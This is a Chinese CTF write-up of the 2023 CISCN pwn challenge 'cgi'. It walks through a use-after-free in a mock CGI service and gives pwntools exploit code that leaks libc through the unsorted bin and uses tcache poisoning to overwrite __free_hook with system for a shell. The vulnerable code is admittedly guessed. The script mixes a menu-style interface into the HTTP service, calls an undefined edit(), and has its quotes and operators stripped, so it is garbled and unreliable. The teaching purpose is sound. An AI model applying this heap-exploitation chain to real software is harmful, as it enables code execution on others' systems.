CTF Pwn题解析:从CGI服务中的UAF漏洞到Glibc堆利用实战 1. 项目背景与核心挑战最近复盘了2023年CISCN全国大学生信息安全竞赛华东北分区赛的一道Pwn题目名字叫“cgi”。这道题当时卡住了不少人因为它把传统的二进制漏洞利用场景巧妙地包装在了一个Web服务的框架里。乍一看题目名字和“cgi”相关很多人的第一反应可能是去分析HTTP协议解析或者CGI脚本本身的逻辑漏洞。但实际上这道题的核心是一个经典的堆漏洞——Use-After-FreeUAF。它模拟了一个简化版的CGI处理程序这个程序在解析HTTP请求、处理动态资源的过程中由于对堆内存的管理不当留下了可以被攻击者利用的安全缺陷。对于刚接触CTF Pwn方向特别是对Linux环境下堆利用还不熟悉的同学来说这道题是一个非常好的学习案例。它不仅能让你理解UAF漏洞的原理更能让你学会如何在一个“非常规”的二进制题目环境中比如带有网络交互去定位和利用漏洞。接下来我会带你从头到尾拆解这道题包括环境搭建、逆向分析、漏洞定位、利用链构建直到最终拿到shell。2. 题目环境搭建与初步分析2.1 获取与运行目标程序首先我们需要拿到题目文件。通常CTF题目会提供一个压缩包里面包含目标二进制文件比如cgi以及可能需要的libc库。假设我们拿到了cgi这个64位ELF可执行文件。第一步永远是检查文件的基本信息file cgi checksec --filecgichecksec的结果很可能显示Partial RELRO、No Canary found、NX enabled、No PIE。这意味着栈不可执行NX但地址随机化PIE没有开启这给我们利用提供了便利因为代码和数据的地址是固定的。接下来运行程序看看它做了什么./cgi程序可能会监听某个端口比如0.0.0.0:1572。这印证了它是一个网络服务。我们可以用netstat或lsof命令来确认。同时用ldd查看它链接的动态库确认其使用的libc版本这对于后续计算偏移至关重要。2.2 逆向工程与静态分析使用IDA Pro或Ghidra对cgi进行反编译。主函数通常会创建一个socket绑定端口进入循环接受客户端连接。对于每一个连接它会fork一个子进程来处理这是CGI程序的常见模式防止一个客户端崩溃导致整个服务宕机。在子进程的处理函数中是我们要关注的重点。这个函数会读取HTTP请求从socket中读取数据解析HTTP请求行如GET /path HTTP/1.1和头部。解析请求路径根据请求的路径比如/add,/delete,/show等调用不同的处理函数。这通常通过一个简单的字符串比较来实现。实现业务逻辑这些处理函数如handle_add,handle_delete,handle_show会操作一些数据结构来模拟“资源”的增删改查。漏洞往往就藏在这些业务逻辑函数中。在静态分析时要特别关注全局数据结构题目很可能定义了一个结构体数组或链表来管理“资源”。每个“资源”可能包含一个ID、一个大小size和一个指向堆内存的指针content。堆内存操作寻找malloc、calloc、realloc和free的调用点。注意它们分配的大小是否用户可控以及释放后指针是否被正确置空。指针的使用在free之后程序是否还在其他地方使用了这个已经被释放的指针这就是UAF的典型特征。2.3 动态调试环境配置因为程序是一个网络服务直接调试父进程不太方便它会fork。我们有两种常用的动态调试方法附加到子进程先运行./cgi然后用ps aux | grep cgi找到子进程的PID再用gdb -p PID附加。但子进程处理完请求就退出了时间窗口很短。修改程序或使用调试技巧更常用的方法是在代码中寻找可以“触发”漏洞的路径然后写一个Python脚本模拟HTTP客户端发送请求同时在脚本中通过gdb.attach()或process()与调试器交互。使用pwntools库可以极大地简化这个过程。一个更简单的办法是在程序的某个关键函数比如认证后或某个命令处理函数入口处下断点然后让程序在启动时就等待调试器连接。这可以通过在代码里插桩如int 3指令或使用pwntools的gdb.debug功能来实现。from pwn import * context.binary ./cgi context.log_level debug # 方法1直接调试进程 p process(./cgi) # 此时可以 gdb.attach(p) 来打开一个gdb窗口附加到这个进程 # 方法2通过脚本发送HTTP请求 def send_http_request(path, dataNone): conn remote(127.0.0.1, 1572) # 连接到题目服务 request fGET {path} HTTP/1.1\r\n request Host: localhost\r\n if data: request fContent-Length: {len(data)}\r\n request \r\n request data else: request \r\n conn.send(request) response conn.recvall() conn.close() return response3. 漏洞原理深度剖析Use-After-Free3.1 UAF漏洞的本质Use-After-Free顾名思义就是“释放后使用”。在C/C程序中程序员手动管理堆内存。当一块堆内存通过free或delete被释放后它应该被视为“无效的”。然而如果程序在释放后没有将指向这块内存的指针置为NULL或者程序的其他部分仍然保留着这个指针的副本后续又通过这个“悬空指针”Dangling Pointer去读写数据就会引发UAF。对于内存管理器如glibc的ptmalloc来说这块被释放的内存可能已经被回收到“空闲链表”中甚至可能已经被重新分配出去存放了其他数据。这时通过悬空指针去操作实际上是在操作一块“不属于”你的内存其内容是不可预测的。攻击者可以精心设计内存布局让这块被释放的内存被其他可控的数据结构占用从而通过悬空指针实现读写最终可能达到代码执行的目的。3.2 本题中UAF的触发路径通过逆向分析我们假设发现了如下关键代码逻辑以下为伪代码struct Resource { int id; size_t size; char *content; }; Resource pool[MAX_RESOURCES]; void handle_delete(int conn_fd, int resource_id) { int idx find_resource_by_id(resource_id); if (idx -1) { send_error(conn_fd, Not found); return; } free(pool[idx].content); // 释放堆内存 // 漏洞点没有将 pool[idx].content 指针置为 NULL pool[idx].id -1; // 可能只是将id标记为无效 } void handle_show(int conn_fd, int resource_id) { int idx find_resource_by_id(resource_id); if (idx -1) { send_error(conn_fd, Not found); return; } // 危险如果这个资源之前被delete过content已经是悬空指针 write(conn_fd, pool[idx].content, pool[idx].size); // UAF读 } void handle_edit(int conn_fd, int resource_id, char *new_data) { int idx find_resource_by_id(resource_id); if (idx -1) { send_error(conn_fd, Not found); return; } // 危险同样可能使用悬空指针 memcpy(pool[idx].content, new_data, pool[idx].size); // UAF写 }漏洞链条非常清晰用户通过/delete?id1请求删除ID为1的资源。handle_delete函数free了content指向的堆块但pool[1].content这个指针变量本身的值没有改变。此时pool[1].content变成了一个悬空指针指向一块已经被释放的内存。如果后续程序通过其他操作可能是另一个功能比如添加一个不同类型的资源恰好申请了一块大小相同的内存那么glibc很可能将刚刚释放的这块内存分配出去。用户再通过/show?id1请求查看。handle_show函数通过未清零的content指针去读取数据读到的就是新分配进来的、属于其他资源的数据。这就造成了信息泄露。更危险的是/edit操作如果存在它可以通过悬空指针写入数据从而篡改新分配进来的数据结构的内容比如覆盖函数指针、修改关键数据等。关键点UAF的利用核心在于“释放”和“使用”之间攻击者能否控制这块被释放内存重新分配时的内容。在CTF的堆题目中我们通常需要利用程序自身的其他功能来“塑造”堆布局让目标堆块被我们想要的数据占用。3.3 Glibc堆管理简析与利用准备要成功利用UAF需要对glibc的堆分配器ptmalloc2有基本了解。这里不深入细节但需要知道几个关键概念chunk堆内存管理的基本单位。分为allocated chunk和free chunk。bins管理空闲chunk的链表。根据大小主要有Fast bins管理小尺寸默认小于0x80字节的chunk单向链表后进先出LIFO相邻空闲块不会合并。Small/Large bins管理更大的chunk双向链表按大小排序空闲块会合并。Unsorted binfree掉一个不属于fast bin的chunk后会先放入这里是分配和合并的中转站。tcache (per-thread cache)glibc 2.26引入每个线程有一个缓存用于快速分配和释放小内存块优先级高于fast bins。它是单向链表默认每个bin缓存最多7个相同大小的chunk。对于本题由于是网络服务每个连接是fork出来的子进程通常不共享tcache因为tcache是线程局部的而fork会复制整个进程空间子进程继承父进程的tcache状态但之后独立。不过我们依然要关注题目使用的libc版本因为不同版本的堆管理策略和防护机制有差异。我们的利用思路通常是信息泄露利用UAF读泄露出堆地址或libc地址。例如如果一个被释放的chunk被放入了unsorted bin它的fd和bk指针会指向libc中的main_arena区域通过读取这些指针就能算出libc基址。控制流劫持利用UAF写修改某个关键数据结构如__free_hook或__malloc_hook的地址或者一个虚函数表指针使其指向我们控制的shellcode或one_gadget地址从而在程序执行到相应函数时获得代码执行权限。4. 漏洞利用链构建与实践4.1 第一步触发漏洞与堆风水布局首先我们需要编写一个利用脚本通常用Python的pwntools与目标程序交互。我们的目标是精确控制堆内存的分配和释放让目标悬空指针指向我们想要的数据。假设我们通过分析发现/add功能可以分配指定大小的资源/delete功能释放资源但不置空指针/show功能可以读取资源内容。from pwn import * import sys context.binary ./cgi context.log_level info elf ELF(./cgi) libc ELF(./libc.so.6) # 题目提供的libc或使用本地对应的版本 def add(size, content): # 模拟 POST /add 请求提交大小和内容 # 具体HTTP格式需要根据题目调整 data fid{next_id}size{size}content{content} r.sendlineafter(bChoice:, b1) r.sendlineafter(bSize:, str(size).encode()) r.sendafter(bContent:, content) def delete(idx): r.sendlineafter(bChoice:, b2) r.sendlineafter(bIndex:, str(idx).encode()) def show(idx): r.sendlineafter(bChoice:, b3) r.sendlineafter(bIndex:, str(idx).encode()) # 接收并返回显示的内容 return r.recvline(keependsFalse) # 启动进程或连接远程 if len(sys.argv) 1 and sys.argv[1] remote: r remote(靶机地址, 端口) else: r process(./cgi) # gdb.attach(r, gdbscriptb *handle_delete\nc) # 1. 堆布局先申请几个chunk为后续操作做准备 add(0x80, bA*0x80) # chunk A add(0x80, bB*0x80) # chunk B防止与top chunk合并4.2 第二步利用UAF泄露关键地址这是最关键的一步。我们需要让一个被释放的chunk进入可以泄露地址的状态如unsorted bin然后通过UAF读取出其fd或bk指针。# 2. 释放chunk A并使其进入unsorted bin因为大小0x80不属于fast bin delete(0) # 3. 此时chunk A的content指针已是悬空指针但pool[0].content仍指向它。 # 如果此时我们调用show(0)程序会尝试读取chunk A的内容。 # 但是chunk A现在是free状态其用户数据区的前16字节64位下是fd和bk指针。 # 我们需要确保在show之前没有其他分配操作干扰这个chunk。 # 通常我们需要先分配掉其他大小的chunk避免这个chunk被切割。 # 4. 利用show功能读取chunk A的fd指针即main_arenaoffset leak_data show(0) # 假设show函数会把content的内容原样输出给我们 # 我们需要解析出fd指针。注意输出可能包含其他HTTP响应头需要处理。 unsorted_bin_addr u64(leak_data[:8]) # 前8字节是fd # 计算libc基址 # 这个偏移量需要根据libc版本确定。例如对于某版本libcunsorted_bin_offset 0x3ebca0 libc_base unsorted_bin_addr - libc.symbols[main_arena] - 96 # 注意偏移不同版本不同 log.success(flibc base: {hex(libc_base)})注意事项泄露出的地址可能不是直接的main_arena地址而是main_arena结构体内的某个成员如top的地址。需要根据libc版本和chunk大小通过调试确定准确的偏移量。使用pwntools的libc.symbols[‘main_arena’]可以获取符号偏移但要注意main_arena有时不是导出符号可能需要用__malloc_hook附近的地址来推算。4.3 第三步篡改指针控制程序流拿到libc基址后我们就可以计算一些关键函数的地址了比如system、__free_hook、__malloc_hook、one_gadget等。我们的目标是将__free_hook或__malloc_hook的内容修改为system或one_gadget的地址。这样当程序下次调用free或malloc时就会跳转到我们的目标地址执行。但是我们只有UAF写的能力写的是content指向的内存。我们需要让这个悬空指针指向__free_hook附近。这通常通过“堆喷”或者利用堆分配机制来实现。一个常见的技术是tcache poisoning如果tcache可用或fastbin attack。假设题目环境是glibc 2.31有tcache。我们尝试用tcache poisoning先释放两个相同大小的chunk到tcache中tcache bin是单链表后进先出。通过UAF写修改第一个被释放的chunk的fd指针tcache链表中下一个空闲块的地址将其指向一个伪造的地址比如__free_hook - 0x10可能需要对齐。然后连续申请两次该大小的chunk。第一次申请会返回原先的chunk第二次申请就会返回我们伪造的地址附近的内存。在第二次申请后我们向这块“内存”写入数据实际上就是向__free_hook附近写入。我们可以将__free_hook覆盖为system地址。最后触发一次free参数是一个我们可控的字符串如/bin/shfree(p)实际上会变成system(“/bin/sh”)。# 计算目标地址 libc.address libc_base # 设置libc基址方便pwntools计算 free_hook libc.symbols[__free_hook] system_addr libc.symbols[system] log.info(f__free_hook {hex(free_hook)}) log.info(fsystem {hex(system_addr)}) # 5. 为tcache poisoning做准备申请并释放两个相同大小的chunk到tcache add(0x60, bC*0x60) # chunk C, size 0x70 (chunk size) add(0x60, bD*0x60) # chunk D add(0x60, bE*0x60) # chunk E 用于防止合并 delete(2) # 释放C进入tcache[0x70] delete(3) # 释放D进入tcache[0x70]现在tcache: D - C - NULL # 6. 此时chunk C的content指针是悬空指针假设我们之前没有覆盖它。 # 我们通过edit功能UAF写修改chunk C的fd指针。 # 注意edit需要知道资源ID我们需要确保edit操作的是同一个资源索引。 # 假设edit函数也存在UAF漏洞且我们可以编辑已被delete的资源。 # 修改chunk C的fd为 __free_hook 附近的地址。 # tcache的fd指向下一个空闲chunk的用户数据区开始处。 target_addr free_hook - 0x10 # 调整偏移使得分配回来的地址正好能覆盖__free_hook edit(2, p64(target_addr)) # 假设edit可以写任意长度这里只覆盖fd指针 # 7. 现在tcache链表变为 D - C - target_addr - ??? # 连续申请两次0x70大小的chunk add(0x60, bF*0x60) # 这次拿到的是chunk D add(0x60, bG*0x60) # 这次应该拿到被我们篡改后的chunk即target_addr处的“假chunk” # 8. 第二次add时我们写入的数据会写到target_addr开始的内存。 # 我们需要精心构造数据使得覆盖__free_hook。 # 注意chunk的元数据size可能也需要伪造但tcache检查较松。 # 我们直接写入payload覆盖__free_hook。 payload bH*0x10 p64(system_addr) # 前0x10字节填充然后覆盖__free_hook为system edit(5, payload) # 假设新分配的资源的索引是5我们编辑它 # 9. 现在__free_hook已经被覆盖为system地址。 # 最后一步触发free并且让它的参数是我们控制的字符串“/bin/sh”。 # 我们可以再申请一个chunk内容为“/bin/sh”然后释放它。 add(0x20, b/bin/sh\x00) # chunk F内容为/bin/sh delete(6) # 释放chunk F此时 free(chunk_F_content) 变成 system(“/bin/sh”)4.4 第四步获取Shell与flag如果一切顺利在执行delete(6)后就会调用system(“/bin/sh”)从而弹出一个shell。在CTF环境中这个shell通常继承自服务进程权限就是运行题目的用户权限通常是ctf用户。我们可以用这个shell来读取flag文件。# 切换交互模式到shell r.interactive()在交互模式下输入命令如cat flag、ls -la、find / -name “*flag*” 2/dev/null等来寻找并获取flag。5. 常见问题与调试技巧实录5.1 堆布局不稳定或泄露地址不对问题每次运行泄露的地址都不一样或者计算出的libc基址明显不对比如不是以0x7f开头。排查ASLR确保本地调试时关闭了ASLR (echo 0 | sudo tee /proc/sys/kernel/randomize_va_space)或者在你的脚本中先计算偏移确保脚本能适应随机化。堆状态污染程序可能初始化时或处理其他请求时分配了额外的堆块干扰了你的布局。仔细审计代码确保你的操作序列是“纯净”的。可以使用gdb的heap bins命令如果安装了pwndbg或gef在关键步骤查看堆状态。输出解析错误show功能返回的数据可能包含HTTP响应头、换行符等非内存数据。你需要精确截取内存内容部分。使用recvuntil或正则表达式来定位。偏移计算错误main_arena的偏移因libc版本而异。最好通过调试确认在free一个较大的chunk后直接在gdb中查看该chunk的fd/bk值然后用vmmap命令查看libc的加载基址手动计算偏移。5.2 Tcache Poisoning 失败问题篡改fd后第二次分配时崩溃或分配到的地址不对。排查Tcache计数tcache每个bin最多缓存7个chunk。确保你的操作没有超过限制。大小对齐tcache bins基于chunk size而不是用户请求的size。确保你申请和释放的大小对应的chunk size是正确的用户大小元数据并向上对齐。在64位系统中malloc(0x60)通常得到chunk size为0x70的块。FD指针指向的地址合法性glibc 2.32及以上版本对tcache的fd指针增加了简单的异或加密PROTECT_PTR直接写入目标地址可能不行。需要先泄露堆地址然后按照encode (target_addr 12) ^ heap_addr的方式计算并写入编码后的值。本题如果是2023年的比赛很可能基于glibc 2.31-2.35需要确认版本。伪造chunk的size域虽然tcache检查不严但如果后续操作涉及合并如放入unsorted bin伪造的size域需要能通过检查如对齐、大小合理等。在只进行tcache分配的情况下可以忽略。5.3 无法触发__free_hook或system执行问题成功覆盖了__free_hook但执行free时没有弹出shell甚至程序崩溃。排查参数控制system的参数是free的地址吗不对。__free_hook的函数签名是void (*free_hook)(void *, const void *)它会被传入两个参数。而system只需要一个字符串参数。当我们把__free_hook覆盖为system后free(p)实际上会调用system(p)。因此p必须是一个指向字符串/bin/sh的指针。在我们的利用中p是chunk_F_content即我们写入/bin/sh的那个地址。必须确保这个地址是有效的、可读的字符串地址。One-Gadget有时system调用可能因为环境变量等问题失败。可以尝试使用one_gadget工具在libc中寻找直接执行execve(“/bin/sh”, 0, 0)的代码片段。用one_gadget工具找出地址然后覆盖__free_hook为这个地址。但one_gadget对栈环境有约束条件如[rsp0x70] NULL可能需要多次尝试或通过ROP调整栈状态。Hook是否被调用确认你的free操作确实触发了。有可能程序在崩溃前因为其他错误如double free、内存损坏而退出。在覆盖hook后立即触发一次free。5.4 利用脚本的稳定性心得本地调试成功的脚本打到远程可能失败。因为本地和远程的libc版本、堆初始化状态、网络延迟导致的竞争条件都可能不同。技巧健壮的地址泄露泄露地址后可以验证一下计算出的libc基址是否与已知的libc中某个函数的偏移匹配例如libc_base libc.symbols[‘puts’]泄露的值是否与从ELF文件中读出的puts的GOT表值相近使用Pwntools的DynELF如果题目没有给libc可以尝试用DynELF模块来动态解析libc地址但这需要有一个稳定的信息泄露点。错误处理与交互在脚本中加入更多的recvuntil和超时处理确保与服务器交互的每一步都是预期的。对于网络不稳定的情况可以考虑重试机制。多版本适配如果你的利用严重依赖某个libc版本的特定偏移如main_arena偏移最好在脚本开头进行检测或尝试多个偏移。这道“cgi”题目融合了网络编程和二进制漏洞利用是一次很好的综合练习。它告诉我们漏洞可能出现在任何处理外部输入的地方即使它披着HTTP协议的外衣。掌握堆漏洞的利用不仅需要理解漏洞原理更需要耐心细致的逆向分析、动态调试和对内存管理机制的深刻理解。希望这篇详细的拆解能帮助你攻克类似的题目。在实际操作中最花时间的往往不是最后的利用脚本而是前期的逆向和调试锁定那个关键的、未置空的指针。